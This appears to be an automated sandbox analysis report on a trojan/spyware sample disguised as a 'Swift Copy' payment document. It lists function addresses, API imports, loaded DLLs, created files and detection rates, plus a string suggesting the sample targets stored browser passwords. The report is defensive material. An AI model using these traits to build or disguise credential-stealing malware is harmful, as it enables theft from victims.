Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A09A0	6_2_377A09A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A6DA0	6_2_377A6DA0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A099B	6_2_377A099B
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3B90	6_2_377A3B90
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A6D90	6_2_377A6D90
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A5180	6_2_377A5180
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A1F80	6_2_377A1F80
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A0670	6_2_377A0670
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A6A70	6_2_377A6A70
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A386F	6_2_377A386F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A4E60	6_2_377A4E60
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A1C60	6_2_377A1C60
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A9A60	6_2_377A9A60
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A4E51	6_2_377A4E51
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A6440	6_2_377A6440
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3240	6_2_377A3240
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A0040	6_2_377A0040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3230	6_2_377A3230
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377ADA2B	6_2_377ADA2B
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A642F	6_2_377A642F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A4820	6_2_377A4820
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A1620	6_2_377A1620
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A4810	6_2_377A4810
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377AD210	6_2_377AD210
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A5E00	6_2_377A5E00
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A2C00	6_2_377A2C00
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A12F0	6_2_377A12F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A44F0	6_2_377A44F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A9CE8	6_2_377A9CE8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A5AE0	6_2_377A5AE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A28E0	6_2_377A28E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A5AD0	6_2_377A5AD0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A70C0	6_2_377A70C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3EC0	6_2_377A3EC0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A0CC0	6_2_377A0CC0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A0CB0	6_2_377A0CB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A70B1	6_2_377A70B1
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3EAF	6_2_377A3EAF
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A54A0	6_2_377A54A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A22A0	6_2_377A22A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A5497	6_2_377A5497
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A6A80	6_2_377A6A80
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A3880	6_2_377A3880
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377A0680	6_2_377A0680
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BFB30	6_2_377BFB30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8470	6_2_377B8470
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1CF0	6_2_377B1CF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B9D70	6_2_377B9D70
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BCF70	6_2_377BCF70
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BCF63	6_2_377BCF63
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1360	6_2_377B1360
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B3360	6_2_377B3360
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1351	6_2_377B1351
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BE550	6_2_377BE550
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB350	6_2_377BB350
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB345	6_2_377BB345
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC930	6_2_377BC930
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B9730	6_2_377B9730
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BFB2B	6_2_377BFB2B
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B9720	6_2_377B9720
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC91F	6_2_377BC91F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BAD10	6_2_377BAD10
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BDF10	6_2_377BDF10
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B0508	6_2_377B0508
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BDF01	6_2_377BDF01
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC5FF	6_2_377BC5FF
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BDBF0	6_2_377BDBF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BA9F0	6_2_377BA9F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BA9E0	6_2_377BA9E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BDBE7	6_2_377BDBE7
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF1D0	6_2_377BF1D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B09D0	6_2_377B09D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8DD0	6_2_377B8DD0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BBFD0	6_2_377BBFD0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BBFC5	6_2_377BBFC5
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B09BF	6_2_377B09BF
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF1BF	6_2_377BF1BF
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD5B0	6_2_377BD5B0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BA3B0	6_2_377BA3B0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD5A7	6_2_377BD5A7
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB990	6_2_377BB990
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8790	6_2_377B8790
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BEB90	6_2_377BEB90
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BEB81	6_2_377BEB81
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8780	6_2_377B8780
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB980	6_2_377BB980
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BE870	6_2_377BE870
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB670	6_2_377BB670
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8461	6_2_377B8461
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BE861	6_2_377BE861
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB65F	6_2_377BB65F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B9A50	6_2_377B9A50
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BCC50	6_2_377BCC50
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BCC41	6_2_377BCC41
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B0040	6_2_377B0040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B7A40	6_2_377B7A40
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BB030	6_2_377BB030
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BE230	6_2_377BE230
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1828	6_2_377B1828
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BE221	6_2_377BE221
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B0013	6_2_377B0013
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC610	6_2_377BC610
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B9410	6_2_377B9410
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF810	6_2_377BF810
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1817	6_2_377B1817
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B940B	6_2_377B940B
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF800	6_2_377BF800
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B04FB	6_2_377B04FB
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF4F0	6_2_377BF4F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B90F0	6_2_377B90F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC2F0	6_2_377BC2F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B1CE0	6_2_377B1CE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BC2E0	6_2_377BC2E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BF4E0	6_2_377BF4E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B90E7	6_2_377B90E7
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD8D0	6_2_377BD8D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BA6D0	6_2_377BA6D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD8C0	6_2_377BD8C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BBCB0	6_2_377BBCB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8AB0	6_2_377B8AB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BEEB0	6_2_377BEEB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B8AAB	6_2_377B8AAB
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B72A8	6_2_377B72A8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BBCA0	6_2_377BBCA0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B0E98	6_2_377B0E98
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BEE9F	6_2_377BEE9F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BA090	6_2_377BA090
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD290	6_2_377BD290
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377B0E8D	6_2_377B0E8D
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377BD280	6_2_377BD280
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D16D8	6_2_377D16D8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D32B0	6_2_377D32B0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D1DF8	6_2_377D1DF8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D3998	6_2_377D3998
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D24E0	6_2_377D24E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D0FF0	6_2_377D0FF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D2BC8	6_2_377D2BC8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D4A80	6_2_377D4A80
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D16D3	6_2_377D16D3
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D16C8	6_2_377D16C8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D32A0	6_2_377D32A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D1DE8	6_2_377D1DE8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D3989	6_2_377D3989
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D24D0	6_2_377D24D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D01E8	6_2_377D01E8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D01D8	6_2_377D01D8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D0FE0	6_2_377D0FE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D0C78	6_2_377D0C78
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_377D2BB9	6_2_377D2BB9
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_37E65BE8	6_2_37E65BE8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_37E6B450	6_2_37E6B450
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_37E61AFC	6_2_37E61AFC
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_37E64958	6_2_37E64958

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: String function: 00402C41 appears 51 times

Source: Swift Copy_19.02.2025.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004191000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Swift Copy_19.02.2025.exe
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025171777.0000000034547000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Swift Copy_19.02.2025.exe
Source: Swift Copy_19.02.2025.exe	Binary or memory string: OriginalFilenamedovetailwise.exeN vs Swift Copy_19.02.2025.exe

Source: Swift Copy_19.02.2025.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@5/5

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403359
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		6_2_00403359

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_004046EC GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046EC

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

File created: C:\Users\user\spinsterishly

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

File created: C:\Users\user\AppData\Local\Temp\nse73C2.tmp

Jump to behavior

Source: Swift Copy_19.02.2025.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A8F000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034AAD000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034AD2000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A9E000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034ADE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Swift Copy_19.02.2025.exe	Virustotal: Detection: 52%
Source: Swift Copy_19.02.2025.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

File read: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe"
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process created: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe"
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Process created: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: timelanges.lnk.0.dr	LNK file: ..\..\..\Program Files (x86)\Common Files\prgedes.paa
